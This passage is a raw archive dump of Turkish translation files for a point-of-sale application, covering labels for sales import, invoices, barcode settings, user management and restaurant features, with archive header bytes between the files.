uzunluğu', 'weighing_qty_fractional_part_length' => 'Miktar kesirli parça uzunluğu', 'weighing_scale' => 'Tartı', 'weighing_scale_barcode' => 'Tartı barkodu', 'weighing_scale_barcode_help' => 'Satış tartımından barkodu tarayın ve gönderin', 'prefix_did_not_match' => 'Önek eşleşmedi', 'sku_not_match' => 'Sku :sku ile hiçbir ürün bulunamadı', 'total_quantity_label' => 'Toplam miktar etiketi', 'account_summary' => 'Hesap özeti', 'ledger_table_heading' => ':start_date ve :end_date arasındaki tüm faturaları ve ödemeleri göster', 'beginning_balance' => 'Başlangıç dengesi', 'total_invoice' => 'Toplam fatura', 'balance_due' => 'Ödenmesi gereken bakiye', 'send_ledger' => 'Defter Gönder', 'notifications' => 'Bildirimler', 'ledger_attacment_help' => 'Defter bu e-posta ile PDF formatında eklenecektir', 'upload_module' => 'Yükleme Modülü', 'upload' => 'Yükleme', 'pls_upload_valid_zip_file' => 'Lütfen geçerli bir zip dosyası yükleyin.', 'import_sales' => 'İthalat Satışları', 'preview_imported_sales' => 'İthal Satışları Önizle', 'customer_phone_number' => 'Müşteri Telefon numarası', 'customer_email' => 'Müşteri e-postası', 'item_tax' => 'Ürün Vergisi', 'item_discount' => 'Ürün İndirimi', 'item_description' => 'Ürün Açıklaması', 'order_total' => 'Sipariş toplamı', 'upload_and_review' => 'Yükle ve incele', 'group_sale_line_by' => 'Satışı göre gruplandır', 'import_sale_product_not_found' => 'Adlı ürün :product_name veya sku :sku satırda bulunamadı :row', 'import_sale_tax_not_found' => 'Adlı vergi :tax_name satırda bulunamadı :row', 'email_or_phone_required' => 'Müşteri telefonu veya e-posta gerekli', 'product_name_or_sku_is_required' => 'Ürün adı veya SKU gerekli', 'quantity_is_required' => 'Miktar gerekli', 'unit_price_is_required' => 'Birim fiyat gerekli', 'sales_imported_successfully' => 'Satış başarıyla içe aktarıldı', 'upload_data_in_excel_format' => 'Satış verilerini excel formatında yükle', 'map_columns_with_respective_sales_fields' => 'Her sütun için ilgili satış alanlarını seçin', 'choose_location_and_group_by' => 'Satış hatlarının gruplandırılacağı işletme konumunu ve sütununu seçin', 'date_format_instruction' => 'Satış tarihi saat biçimi Y-m-d H:i:s (2020-07-15 17:45:32) olmalıdır', 'product_name_single_only' => 'Ürün adı (yalnızca tekli veya birleşik ürünler)', 'product_sku' => "Ürün SKU'su", 'product_unit' => 'Ürün Birimi', 'import_sale_unit_not_found' => 'Adlı birim :unit_name satırda bulunamadı :row', 'types_of_servicet_not_found' => 'Adlı hizmet türleri :types_of_service_name satırda bulunamadı: row', 'email_or_phone_cannot_be_empty_in_row' => 'Satırda müşteri telefonu veya e-posta gerekiyor :row', 'product_cannot_be_empty_in_row' => "Satırda ürün adı veya ürün SKU'su gerekiyor :row", 'quantity_cannot_be_empty_in_row' => 'Satırda ürün miktarı gereklidir :row', 'unit_price_cannot_be_empty_in_row' => 'Satırda Birim Fiyat gereklidir :row', 'imports' => 'İthalat', 'invoices' => 'Faturalar', 'import_batch' => 'Toplu işi içe aktar', 'import_time' => 'İthalat zamanı', 'cannot_select_a_field_twice' => 'Bir alanı iki kez seçemezsiniz', 'revert_import' => 'İçe Aktarmayı Geri Al', 'import_reverted_successfully' => 'İçe aktarma başarıyla geri alındı', 'importable_fields' => 'Önemli alanlar', 'sort_order' => 'Sıralama düzeni', 'total_returned' => 'Toplam iade', 'skip' => 'ATLA', 'group_by_tooltip' => 'Satış hatlarını aynı faturada gruplama sütunu', 'allowed_file' => 'İzin Verilen Dosya', 'detailed_with_purchase' => 'Ayrıntılı (Satın alma ile)', 'supplier_name' => 'Sağlayıcı adı', 'purchase_ref_no' => 'Satın alma ref no.', 'save_and_print' => 'Kaydet ve yazdır', 'update_and_print' => 'Güncelle ve yazdır', 'all_your_discounts' => 'Tüm indirimleriniz', 'priority' => 'Öncelikli', 'starts_at' => 'Başlıyor', 'ends_at' => 'Biter', 'used_for_browser_based_printing' => 'Tarayıcı tabanlı baskı için kullanılır', 'hsn_or_category_code' => 'HSN veya Kategori Kodu', 'discounts' => 'İndirimler', 'allow_overselling' => 'Fazla Satışa İzin Ver', 'view_own_purchase' => 'Yalnızca kendi satın alma işleminizi görüntüleyin', 'view_own_expense' => 'Yalnızca kendi giderlerini görüntüle', 'allow_login' => 'Girişe izin ver', 'login_not_allowed' => 'Girişe izin verilmiyor', 'labels_for_contact_custom_fields' => 'Özel kişi alanları için etiketler', 'labels_for_product_custom_fields' => 'Ürün özel alanları için etiketler', 'labels_for_purchase_custom_fields' => 'Satın alma saklama alanları etiketi', 'labels_for_sell_custom_fields' => 'Özel alan satış etiketleri', 'labels_for_location_custom_fields' => 'Konum özel alanları için etiketler', 'labels_for_types_of_service_custom_fields' => 'Hizmet özel alan türleri için etiketler', 'labels_for_user_custom_fields' => 'Kullanıcı özel alanları için etiketler', 'total_transfer_shipping_charge' => 'Toplam transfer kargo ücreti', 'total_purchase_shipping_charge' => 'Toplam satın alma ücreti', 'total_sell_shipping_charge' => 'Toplam satış kargo ücreti', 'opening_stock_location' => 'Stok yeri açılıyor', 'product_locations_ins' => 'Ürünün kullanılabileceği işletme yeri adlarının virgülle ayrılmış dizesi', 'product_locations' => 'Ürün konumları', 'view_products' => 'Ürünleri Görüntüle', 'pos_screen_featured_products' => 'POS ekran Özellikli Ürünler', 'featured_products_help' => 'Seçili ürünler hızlı erişim için ekran üstü ürün önerisinin üstünde gösterilir', 'purchase_report' => 'Satın Alma Raporu', 'sale_report' => 'Satış Raporu', 'payment_date' => 'Ödeme tarihi', 'year_month' => 'Yıl ay', 'lead' => 'Öncülük etmek', 'featured_products' => 'Özel Ürünler', 'repeat_on' => 'Tekrarlama tarihi', 'access_tables' => 'Erişim tabloları', 'access_printers' => 'Yazıcılara eriş', 'access_types_of_service' => 'Hizmet türlerine erişim', 'search_address' => 'Arama adresi', 'contact_locations' => 'İletişim Yerleri', 'map' => 'Harita', 'both_customer_and_supplier' => 'Hem müşteri hem de tedarikçi', 'service' => 'Hizmet', 'either_cust_email_or_phone_required' => 'Müşteri e-posta kimliği veya telefon numarası gerekli', 'either_product_name_or_sku_required' => "Ürün adı (yalnızca tekli ve birleşik için) veya ürün SKU'su gerekir", 'show_invoice_scheme' => 'Fatura planını göster', 'select_invoice_scheme' => 'Fatura şemasını seçin', 'recurring_expense_help' => 'İşaretlenirse, bu gider düzenli aralıklarla otomatik olarak oluşturulacaktır.', 'recur_interval' => 'Tekrarlayan aralık', 'recur_expense_repetition_help' => 'Boş harcama sonsuz kez üretilecekse', 'recurring_expense_message' => 'Yeni yinelenen gider oluşturuldu. Referans no .: <i>:ref_no </i>', 'recurring_expense' => 'Yinelenen gider', 'generated_recurring_expense' => 'Üretilen mükerrer gider', 'select_contacts' => 'Kişileri seçin', 'middle_name' => 'İkinci ad', 'address_line_1' => 'Adres satırı 1', 'address_line_2' => 'Adres Satırı 2', 'dob' => 'Doğum tarihi', 'dob_ins' => 'Y-a-g biçimlendir', 'by_purchase_price' => 'Satın alma fiyatına göre', 'by_sale_price' => 'Satış fiyatına göre', 'potential_profit' => 'Potansiyel kâr', 'apply_all' => 'Tümünü uygula', 'hide_all_prices' => 'Tüm fiyatları gizle', 'select_invoice_layout' => 'Fatura düzenini seçin', 'max_sales_discount_percent' => 'Maks. Satış indirim yüzdesi', 'max_sales_discount_percent_help' => 'Bir kullanıcının satış sırasında verebileceği maksimum indirim yüzdesi. Kısıtlama olmadan boş bırakın', 'max_discount_error_msg' => 'Satış başına maks :discount% indirimi verebilirsiniz', 'show_invoice_layout' => 'Fatura düzeni açılır menüsünü göster', 'recurred_from' => 'Tekrarlanan', 'recur_details' => 'Yinelenen ayrıntılar', 'recurring' => 'Tekrarlanan', 'view_product_stock_value' => 'Ürün stok değerini görüntüle', 'added' => 'Eklendi', 'disable_credit_sale_button' => 'Kredi satışını devre dışı bırak düğmesi', 'pay' => 'Öde', 'use_advance_balance' => 'Avans bakiyesi kullan', 'advance' => 'Peşin', 'advance_balance' => 'Avans Bakiyesi', 'advance_payment' => 'Peşin ödeme', 'required_advance_balance_not_available' => 'Gerekli avans bakiyesi mevcut değil', 'in_transit' => 'Transit', 'edit_stock_transfer' => 'Düzenle Stok Transferi', 'completed_status_help' => 'Durum tamamlanırsa stok transferi düzenlenemez', 'no_data' => 'Veri yok', 'sms_service' => 'SMS Hizmeti', 'nexmo_key' => 'Nexmo Anahtarı', 'nexmo_secret' => 'Nexmo Gizli', 'twilio_token' => 'Twilio Erişim Jetonu', 'twilio_sid' => 'Twilio Hesabı SID', 'upcoming' => 'Yaklaşan', 'final' => 'Son', 'expense_for_contact' => 'İletişim masrafı', 'create' => 'Oluştur', 'waiting' => 'Bekliyorum', 'sms_settings_header_key' => 'Başlık: sayı tuşu', 'sms_settings_header_val' => 'Başlık: sayı değeri', 'stock_adjustment_details' => 'Stok düzeltme ayrıntıları', 'stock_transfer_details' => 'Stok devir detayları', 'invoice_layout_for_pos' => 'POS için fatura düzeni', 'invoice_layout_for_sale' => 'Satılık fatura düzeni', 'invoice_layout_for_sale_tooltip' => 'Doğrudan satış için fatura düzeni', 'new_quotation' => 'Yeni Teklif', 'new_quotation_notification' => 'Yeni teklif bildirimi', 'view_quote_url' => "Alıntı url'sini görüntüle", 'close_cash_register' => 'Yazar kasayı kapat', 'view_cash_register' => 'Yazar kasayı görüntüle', 'for_tax_group_only' => 'Yalnızca vergi grubu için', 'for_tax_group_only_help' => 'İşaretlenirse, bu vergi açılır listelerde ayrı ayrı gösterilmeyecek, sadece vergi grubuna eklenebilir', 'exempt' => 'Muaf', 'tax_exempt_help' => 'Yüzde sıfır vergi oranı vergiden muaf sayılacaktır', 'show_total_in_words' => 'Toplamı kelimelerde göster', 'show_in_word_help' => 'php-intl uzantısının etkinleştirilmesi gerekiyor', 'print_on_suspend' => 'Askıya alındığında faturayı yazdır', 'view_all_customer' => 'Tüm müşteriyi görüntüle', 'view_own_customer' => 'Kendi müşterinizi görüntüleyin', 'view_all_supplier' => 'Tüm tedarikçileri görüntüle', 'view_own_supplier' => 'Kendi tedarikçinizi görüntüleyin', 'label_help' => 'Barkod / Etiket Yazdır', 'connection_type_windows' => 'Bağlantı Türü Pencereleri', 'connection_type_linux' => 'Bağlantı Tipi Linux', 'windows_type_help' => 'Aygıt dosyaları şu satırlar boyunca olacaktır', 'linux_type_help' => 'Yazıcı cihaz dosyanız şöyle bir yerde olacaktır', 'due_date' => 'Bitiş tarihi', 'quotation_no' => 'Teklif numarası', 'browser_based_printing' => 'Tarayıcı Tabanlı Baskı', 'configured_printer' => 'Yapılandırılmış Makbuz Yazıcısını Kullanın', 'for_normal_printer' => 'Normal yazıcı için', 'recomended_for_80mm' => 'Termal hat makbuz yazıcısı için önerilir, 80 mm kağıt boyutu', 'recomended_for_58mm' => 'Termal hat makbuz yazıcısı, 80 mm ve 58 mm kağıt boyutu için önerilir', 'classic' => 'Klasik', 'elegant' => 'Zarif', 'slim' => 'İnce', 'detailed' => 'Detaylı', 'columnize_taxes' => 'Vergileri Sütunla', 'types_of_service_help_long' => "Hizmet türü, yeme-içme, paket, eve teslim, üçüncü taraf teslimat vb. Hizmetler anlamına gelir. <code> Ayarlar> Modüller </code> 'den etkinleştirilebilir / devre dışı bırakılabilir ve <code> Ayarlar> Hizmet türleri'nden oluşturulabilir. </code>. Hizmet türleri için farklı fiyat grubu ve paketleme ücreti de tanımlayabilirsiniz.", 'access_sell_return' => 'Satış getirisine erişim', 'system_notification' => 'Sistem Bildirimi', 'time_range' => 'Zaman aralığı', 'enable_php_intl_extension' => 'PHP INI ayarlarında php-intl uzantısını etkinleştirin', 'profit_note' => '<b> Not: </b> Ürünlere / kategorilere / markalara göre kâr yalnızca satır içi indirimi dikkate alır. Fatura indirimi dikkate alınmaz.', 'upcoming_bookings' => 'Yaklaşan Rezervasyonlar', 'is_refund' => 'Geri ödemedir', 'is_refund_help' => 'Kontrol edilirse gider iade edilecek ve net kara eklenecektir', 'refund' => 'Geri ödeme', 'activate' => 'Etkinleştir', 'deactivate' => 'Devre dışı bırakmak', 'add_quotation' => 'Teklif Ekle', 'product_stock_history' => 'Ürün stok geçmişi', 'quantities_in' => 'Miktarlar Giriş', 'quantities_out' => 'Miktar Bitti', 'in' => 'İçinde', 'out' => 'Dışarı', 'totals' => 'Toplamlar', 'quantity_change' => 'Miktar değişimi', 'new_quantity' => 'Yeni Miktar', 'no_stock_history_found' => 'Hisse geçmişi bulunamadı', 'add_draft' => 'Taslak Ekle', 'labels_for_sale_shipping_custom_fields' => 'Satılık nakliye özel alanları için etiketler', 'is_required' => 'Gerekli', 'convert_to_invoice' => 'Faturaya dönüştür', 'converted_to_invoice_successfully' => 'Faturaya dönüştürüldü :invoice_no başarıyla', 'proforma' => 'Proforma', 'proforma_invoice' => 'Proforma fatura', 'convert_to_proforma' => 'Proforma Faturaya Dönüştür', 'converted_to_proforma_successfully' => 'Proforma Faturaya Dönüştürüldü', 'billing_address' => 'Fatura Adresi', 'delete_sell' => 'Satışı Sil', 'product_brochure' => 'Ürün broşürü', 'whatsapp_text' => 'Whatsapp Metni', 'auto_send_wa_notif' => 'Otomatik Whatsapp bildirimi gönder', 'send_whatsapp' => 'Whatsapp bildirimi gönder', 'send_sms' => 'SMS Gönder', 'send_email' => 'Eposta gönder', 'shipping_documents' => 'Nakliye belgeleri', 'no_attachment_found' => 'Ek bulunamadı', 'attachments' => 'Ekler', 'print_invoice' => 'Fatura yazdır', 'word_format' => 'Kelime Biçimi', 'international' => 'Uluslararası', 'indian' => 'Hintli', 'word_format_help' => 'Uluslararası formatta büyük sayılar milyon, milyar ve trilyon olarak temsil edilirken, Hint formatında olduğu gibi lakh ve krorlarla temsil edilir', 'shipping_edited' => 'Gönderim düzenlendi', 'payment_edited' => 'Ödeme düzenlendi', 'notification_sent' => 'Bildirim Gönderildi', 'imported' => 'İthal', 'logout' => 'Çıkış Yap', 'backup_clean_command_instruction' => 'Eski yedeklemeyi temizlemek için şu komutla bir cron işi kurmalısınız:', 'converted' => 'Dönüştürüldü', 'view_commission_agent_sell' => 'Komisyon temsilcisi kendi satışını görebilir', 'access_commission_agent_shipping' => 'Komisyon temsilcisi kendi gönderilerine erişebilir', 'access_own_shipping' => 'Kendi gönderilerine erişin', 'email_notification_sent' => 'E-posta bildirimi gönderildi', 'sms_notification_sent' => 'Sms bildirimi gönderildi', 'packing_date' => 'Paketleme Tarihi', 'print_exp_date' => 'Son kullanma tarihini yazdır', 'print_packing_date' => 'Paketleme tarihini yazdır', 'print_lot_number' => 'Parti numarasını yazdır', 'family_contact_number' => 'Aile iletişim numarası', 'custom_payment' => 'Özel Ödeme :number', 'default_credit_limit' => 'Varsayılan kredi limiti', 'price_calculation_type' => 'Fiyat hesaplama türü', 'show_pricing_on_product_sugesstion' => 'Ürün önerisi ipucunda fiyatlandırmayı göster', 'all_purchase_orders' => 'Tüm satın alma siparişleri', 'add_purchase_order' => 'Satın Alma Siparişi Ekle', 'edit_purchase_order' => 'Satın alma siparişini düzenle', 'purchase_order_details' => 'Satın alma siparişi ayrıntıları', 'enable_purchase_order' => 'Satın alma siparişini etkinleştir', 'purchase_order_help_text' => 'Satın alma siparişi, bir alıcı tarafından bir satıcıya ürün veya hizmetlerin türlerini, miktarlarını ve üzerinde anlaşılan fiyatları gösteren ticari bir belge ve ilk resmi tekliftir. Dış tedarikçilerden ürün ve hizmet satın alımını kontrol etmek için kullanılır. kurumsal kaynak planlama sistemi siparişlerinin önemli bir parçası olabilir. ', 'view_all_purchase_order' => 'Tüm satın alma siparişlerini görüntüleyin', 'view_own_purchase_order' => 'Kendi satın alma siparişini görüntüleyin', 'create_purchase_order' => 'Satın alma siparişi oluştur', 'delete_purchase_order' => 'Satın alma siparişini sil', 'purchase_order_delete_success' => 'Satın alma siparişi başarıyla silindi', 'order_quantity' => 'Sipariş Miktarı', 'order_date' => 'Sipariş tarihi', 'max_quantity_quantity_allowed' => 'Maks :quantity izin verilir', 'leave_empty_to_autogenerate' => 'Otomatik oluşturmak için boş bırakın', 'add_edit_invoice_number' => 'Düzenleme fatura numarası ekle', 'keep_blank_to_autogenerate' => 'Otomatik olarak oluşturmak için boş bırakın', 'download_pdf' => 'PDF İndir', 'attach_pdf_in_email' => 'E-postaya fatura pdf ekleyin', 'send_sms_whatsapp_notification' => 'SMS / whatsapp bildirimi gönder', 'enable_sales_order' => 'Satış Siparişini Etkinleştir', 'sales_order' => 'Satış Siparişi', 'sales_order_help_text' => 'Bazen SO olarak kısaltılan satış siparişi, bir işletme veya bağımsız tüccar tarafından bir müşteriye verilen bir sipariştir. Ürünler ve / veya hizmetler için bir satış siparişi olabilir.', 'add_sales_order' => 'Satış Siparişi Ekle', 'edit_sales_order' => 'Satış Siparişini Düzenle', 'shipping_note' => 'Kargo notu', 'code_1_name' => 'Kod 1 adı', 'code_2_name' => 'Kod 2 adı', 'code_1' => 'Kod 1', 'code_2' => 'Kod 2', 'download_paking_pdf' => 'Paketleme pdf dosyasını indirin', 'subject_type' => 'Konu Tipi', 'activity_log' => 'Etkinlik Günlüğü', 'sell_deleted' => 'Silinmiş Sat', 'so_deleted' => 'Satış Siparişi Silindi', 'po_deleted' => 'Satın Alma Siparişi Silindi', 'purchase_deleted' => 'Satın Alma Silindi', 'contact_deleted' => 'Kişi Silindi', 'payment_deleted' => 'Ödeme Silindi', 'quantity_remaining' => 'Kalan Miktar', 'view_sale' => 'Satışı Görüntüle', 'update_sale' => 'Satışı Güncelle', 'add_sell' => 'Satış Ekle', 'account_details' => 'Hesap detayları', 'label' => 'Etiket', 'prefer_payment_method' => 'Ödeme yöntemini tercih et', 'prefer_payment_account' => 'Ödeme hesabını tercih et', 'this_will_be_shown_in_pdf' => 'Müşterinin faturayı ödeyebileceği tercih edilen yöntem / hesap. (Kredi faturaları için kullanışlıdır)', 'view_own_so' => 'Kendi satış siparişini görüntüle', 'view_all_so' => 'Tüm satış siparişlerini görüntüle', 'create_so' => 'Satış siparişi oluştur', 'edit_so' => 'Satış siparişini düzenle', 'delete_so' => 'Satış siparişini sil', 'types_of_service_custom_field_help' => 'Satış eklerken altı özel alan mevcut olacak', 'delete_expense' => 'Gider Sil', 'access_all_expense' => 'Tüm harcamalara erişin', 'designation' => 'İsim', 'department' => 'Bölüm', 'is_default_for_contact' => 'İletişim için varsayılandır', 'individual' => 'Bireysel', 'is_export' => 'İhracat mı?', 'export' => 'İhracat', 'export_custom_field1' => "Özel alan 1'i dışa aktar", 'export_custom_field2' => "Özel alan 2'yi dışa aktar", 'export_custom_field3' => "Özel alan 3'ü dışa aktar", 'export_custom_field4' => "Özel alan 4'ü dışa aktar", 'export_custom_field5' => "Özel alan 5'i dışa aktar", 'export_custom_field6' => "Özel alan 6'yı dışa aktar", 'enable_export' => 'Dışa aktarmayı etkinleştir', 'edit_status' => 'Durumu düzenle', 'status_updated' => 'Durum güncellendi', 'item_discount_label' => 'Ürün indirim etiketi', 'sales_orders' => 'Satış Siparişleri', 'cash_denominations' => 'Nakit Değerler', 'cash_denominations_help' => 'Virgülle ayrılmış değerler Örnek: 100,200,500,2000', 'denomination' => 'Mezhep', 'count' => 'Miktar', 'denomination_add_help_text' => 'Ayarlar -> İşletme Ayarları -> POS -> Nakit Değerler bölümüne değer ekleyin', 'order_dates' => 'Sipariş tarihleri', 'by_category' => 'Kategoriye Göre', 'by_brand' => 'Markaya Göre', 'no_brand' => 'Marka yok', 'woocommerce_sync' => 'WooCommerce Senkronizasyonu', 'enable' => 'Etkinleştirme', 'disable' => 'Devre dışı bırak', 'cmmsn_calculation_type' => 'Komisyon Hesaplama Türü', 'invoice_value' => 'Fatura değeri', 'total_payment_with_commsn' => 'Komisyonlu toplam ödeme', 'payments_with_cmmsn' => 'Komisyonlu ödemeler', 'view_all_drafts' => 'Tüm taslakları görüntüle', 'view_own_drafts' => 'Kendi taslaklarını görüntüle', 'edit_draft' => 'Taslağı düzenle', 'delete_draft' => 'Taslağı sil', 'view_all_quotations' => 'Tüm teklifleri görüntüle', 'view_own_quotations' => 'Kendi tekliflerini görüntüle', 'edit_quotation' => 'Teklifi düzenle', 'delete_quotation' => 'Alıntıyı sil', 'primary_work_location' => 'Birincil iş yeri', 'labels_for_purchase_shipping_custom_fields' => 'Satın alma nakliye özel alanları için etiketler', 'view_own_purchase_n_stock_adjustment' => 'Kendi Satın Alma ve Stok Ayarlamalarını Görüntüle', 'view_all_purchase_n_stock_adjustment' => 'Tüm Satın Alma ve Stok Ayarlarını Görüntüle', 'access_all_shipments' => 'Tüm gönderilere erişin', 'view_all_sale' => 'Tüm satışları görüntüle', 'total_quantity' => 'Toplam miktar', 'pending_shipments' => 'Bekleyen Gönderiler', 'view_paid_sells_only' => 'Yalnızca ücretli satışları görüntüle', 'view_due_sells_only' => 'Yalnızca vadesi gelen satışları görüntüle', 'view_partially_paid_sells_only' => 'Yalnızca kısmen ödenen satışları görüntüle', 'view_overdue_sells_only' => 'Yalnızca vadesi geçmiş satışları görüntüle', 'customer_with_no_sell_one_month' => 'Sadece bir aydan itibaren satışı olmayan müşterileri görüntüle', 'customer_with_no_sell_three_month' => 'Sadece üç aydan itibaren satışı olmayan müşterileri görüntüle', 'customer_with_no_sell_six_month' => 'Sadece altı aydan itibaren satışı olmayan müşterileri görüntüleyin', 'customer_with_no_sell_one_year' => 'Sadece bir yıldan itibaren satışı olmayan müşterileri görüntüle', 'customer_permissions_tooltip' => 'Belirli bir zamandan satış yapmayan tüm müşterileri görüntülemek için <b>Tüm müşterileri görüntüle</b> izni gereklidir, aksi takdirde yalnızca oturum açmış kullanıcı tarafından oluşturulan müşterilerle filtrelenir', 'sell_permissions_tooltip' => 'Ödeme durumuna göre satışları görüntülemek için <b> Tüm satışları görüntüle</b> izni gereklidir, aksi takdirde yalnızca oturum açmış kullanıcı tarafından oluşturulan satışlarla filtrelenir', 'access_pending_shipments_only' => 'Yalnızca bekleyen gönderilere erişin', 'access_all_sell_return' => 'Tüm satış özetlerine erişin', 'access_own_sell_return' => 'Kendi satış geri dönüşüne erişin', 'proforma_heading' => 'Proforma fatura başlığı', 'tooltip_proforma_heading' => 'Müşterilere Proforma sunulurken Proforma fatura başlığı kullanılmaktadır.', 'line_taxes' => 'Hat vergileri', 'add_additional_expenses' => 'Ek giderler ekleyin', 'additional_expense_name' => 'Ek gider adı', 'purchase_additional_expense' => 'Ek giderler satın alın', 'qr_code' => 'QR kod', 'show_qr_code' => 'QR Kodunu Göster', 'fields_to_be_shown' => 'Gösterilecek alanlar', 'business_location_address' => 'İş yeri adresi', 'business_tax_1' => 'İşletme vergisi 1', 'business_tax_2' => 'İşletme vergisi 2', 'invoice_datetime' => 'Fatura Tarihi Saat', 'total_amount_with_tax' => 'Vergi dahil toplam tutar', 'total_bank_transfer' => 'Toplam banka havalesi', 'total_advance_payment' => 'Toplam avans ödemesi', 'commission_agent_label' => 'Komisyon acentesi etiketi', 'show_commission_agent' => 'Komisyon temsilcisini göster', 'cannot_change_role' => 'Rol değiştirilemez', 'cr' => 'CR', 'dr' => 'DR', 'payment_link' => 'Ödeme Bağlantısı', 'enable_payment_link' => 'Ödeme bağlantısını etkinleştir', 'payment_link_help_text' => 'Kullanıcıların ödeme bağlantısını kullanarak fatura ödemesini sağlayarak', 'invoice_payment' => 'Fatura ödeme', 'payment_for_invoice_no' => 'Fatura numarası için ödeme', 'pending_shipments' => 'Bekleyen Gönderiler', 'sources' => 'Kaynaklar', 'stripe_secret_key' => 'Şerit gizli anahtarı', 'stripe_public_key' => 'Şerit açık anahtar', 'edit_opening_balance' => 'Açılış Bakiyesini Düzenle', 'edit_fund_transfer' => 'Fon Transferini Düzenle', 'edit_deposit' => 'Depozitoyu Düzenle', 'deposit_to' => 'Para yatırma', 'transfer_from' => 'Şuradan transfer', 'edit_account_transaction' => 'Hesap hareketini düzenle', 'delete_account_transaction' => 'Hesap işlemini sil', 'add_purchase_payment' => 'Satın alma ödemesi ekle', 'edit_purchase_payment' => 'Satın alma ödemesini düzenle', 'delete_purchase_payment' => 'Satın alma ödemesini sil', 'add_sell_payment' => 'Satış ödemesi ekle', 'edit_sell_payment' => 'Satış ödemesini düzenle', 'delete_sell_payment' => 'Satış ödemesini sil', 'sales_order_heading' => 'Satış Siparişi Başlığı', 'account_balance' => 'Hesap bakiyesi', 'total_balance' => 'Toplam Bakiye', 'account_balance_tooltip' => 'Belirli bir hesabın toplam bakiyesi', 'total_balance_tooltip' => 'Tüm hesapların Toplam Bakiyesi', 'sell_additional_expense' => 'Ek giderleri sat', 'view_export_buttons' => 'Tablolardaki düğmelere (csv/excel/print/pdf) dışa aktarmayı görüntüleyin', 'overall' => 'Etraflı', 'show_labels' => 'Etiketleri Göster', 'zatca_qr' => 'ZATCA (Fatoora) QR kodu', 'zatca_qr_help' => 'Suudi Arabistan ülkesi için', 'customer_irrespective_of_sell' => 'Satışlarından bağımsız olarak müşterileri görüntüleyin', 'img_url_help_text' => "Veya resmin URL'si", 'delivery_person' => 'Teslimat Personeli', 'enable_service_staff_pin' => 'Hizmet personeli PIN kodunu etkinleştir', 'staff_pin' => 'Personel PIN', 'tooltip_is_enable_service_staff_pin' => 'Etkinse, satış/POS sırasında bu kullanıcı hizmet personeli olarak seçildiğinde PIN girilmesi gerekir, yanlış PIN bu kullanıcının hizmet personeli olarak seçilmesine izin vermez.', 'kitchen_order' => 'Mutfak Siparişi', 'kitchen_order_tooltip' => 'Bu seçenek işaretlendiğinde sipariş sadece mutfağa gönderilir', 'disable_quotation' => 'Teklifi Devre Dışı Bırak', 'disable_card' => 'Kartı Devre Dışı Bırak', 'assigned_to' => 'Atanmış kişi', 'has_no_sell_from' => 'Satışı yok', 'delivery_note' => 'Teslimat Notu', 'above_mentioned_items_received_in_good_condition' => 'Yukarıda bahsedilen ürünler iyi durumda alındı', 'received_by' => 'Tarafından alındı', 'enter_details_below_to_check_repair_status' => 'Tamir Durumunu kontrol etmek için aşağıdaki detayları girin', 'search_by' => 'Ara' ]; PK G �Zֹ�_ tr/barcode.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'barcodes' => 'Barkodlar', 'barcode_settings' => 'Barkod Ayarları', 'manage_your_barcodes' => 'Barkod ayarlarınızı yönetin', 'all_your_barcode' => 'Tüm barkod ayarlarınız', 'setting_name' => 'Etiket(Çıkartma) Sayfası ayar Adı', 'setting_description' => 'Etiket(Çıkartma) Sayfası ayar Açıklaması', 'added_success' => 'Barkod ayarı başarıyla eklendi', 'updated_success' => 'Barkod ayarı başarıyla güncellendi', 'deleted_success' => 'Barkod ayarı başarıyla silindi', 'add_new_setting' => 'Yeni ayar ekle', 'add_barcode_setting' => 'Barkod etiket ayarı ekle', 'edit_barcode_setting' => 'Barkod etiket ayarını düzenle', 'in_in' => 'İnç', 'width' => 'Etiket genişliği', 'height' => 'Etiket yüksekliği', 'top_margin' => 'Ek üst marj(top margin)', 'left_margin' => 'Ek sol kenar boşluğu(left margin)', 'row_distance' => 'İki satır arasındaki mesafe', 'col_distance' => 'İki sütün arasındaki mesafe', 'blank_stickers' => 'Boş Etiketler', 'stickers_in_one_row' => 'Tek satır etiket', 'delete_confirm' => 'Bu ayar silinecek \n Emin misiniz?', 'set_as_default' => 'Varsayılan olarak ayarla', 'default' => 'Varsayılan', 'default_set_success' => 'Varsayılan başarıyla ayarlandı', 'stickers_in_one_sheet' => 'Yaprak Başına Etiket No. ', 'is_continuous' => 'Sürekli besleme veya rulolar', 'products' => 'Ürünler', 'no_of_labels' => 'Etiket No.', 'info_in_labels' => 'Etiketlerde gösterilecek bilgiler', 'print_name' => 'Ürün Adı', 'print_variations' => 'Ürün Varyasyonu (önerilir)', 'print_price' => 'Ürün Fiyatı', 'show_price' => 'Fiyat Göster', 'preview' => 'Önizleme', 'print_business_name' => 'İşletme Adı', 'barcode_setting' => 'Barkod ayarı', 'paper_width' => 'Kağıt genişliği', 'paper_height' => 'Kağıt yüksekliği', 'print_labels' => 'Etiketleri Yazdır', 'labels' => 'Etiketler', ]; PK G �ZM��H\ \ tr/user.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Business Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during registration of a business. | */ 'edit_profile' => 'Profil Düzenle', 'change_password' => 'Şifre Değiştir', 'current_password' => 'Eski Şifre', 'new_password' => 'Yeni Şifre', 'confirm_new_password' => 'Yeni Şifre Tekrarı', 'user_management' => 'Kullanıcı Yönetimi', 'roles' => 'Roller', 'users' => 'Kullanıcılar', 'manage_roles' => 'Rolleri Yönet', 'all_roles' => 'Tüm Roller', 'add_role' => 'Rol Ekle', 'role_name' => 'Rol Adı', 'permissions' => 'İzinler', 'role_added' => 'Rol Başarıyla Eklendi', 'role_already_exists' => 'Aynı isimde rol zaten mevcut', 'edit_role' => 'Rolü Düzenle', 'role_updated' => 'Rol başarıyla güncellendi', 'role_deleted' => 'Rol başarıyla silindi', 'manage_users' => 'Kullanıcıları Yönet', 'all_users' => 'Tüm Kullanıcılar', 'name' => 'Adı', 'role' => 'Rolü', 'add_user' => 'Kullanıcı Ekle', 'user_added' => 'Kullanıcı başarıyla eklendi', 'role_is_default' => 'Bu rolü değiştiremezsiniz', 'edit_user' => 'Kullanıcıyı Düzenle', 'leave_password_blank' => 'Şifreyi güncellemek istemiyorsanız, şifre alanını boş bırakın', 'user_update_success' => 'Kullanıcı başarıyla güncellendi', 'user_delete_success' => 'Kullanıcı başarıyla silindi', ]; PK G �Z]j �� � tr/restaurant.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Restaurant Language Lines |-------------------------------------------------------------------------- */ 'restaurant' => 'Restoran', 'tables' => 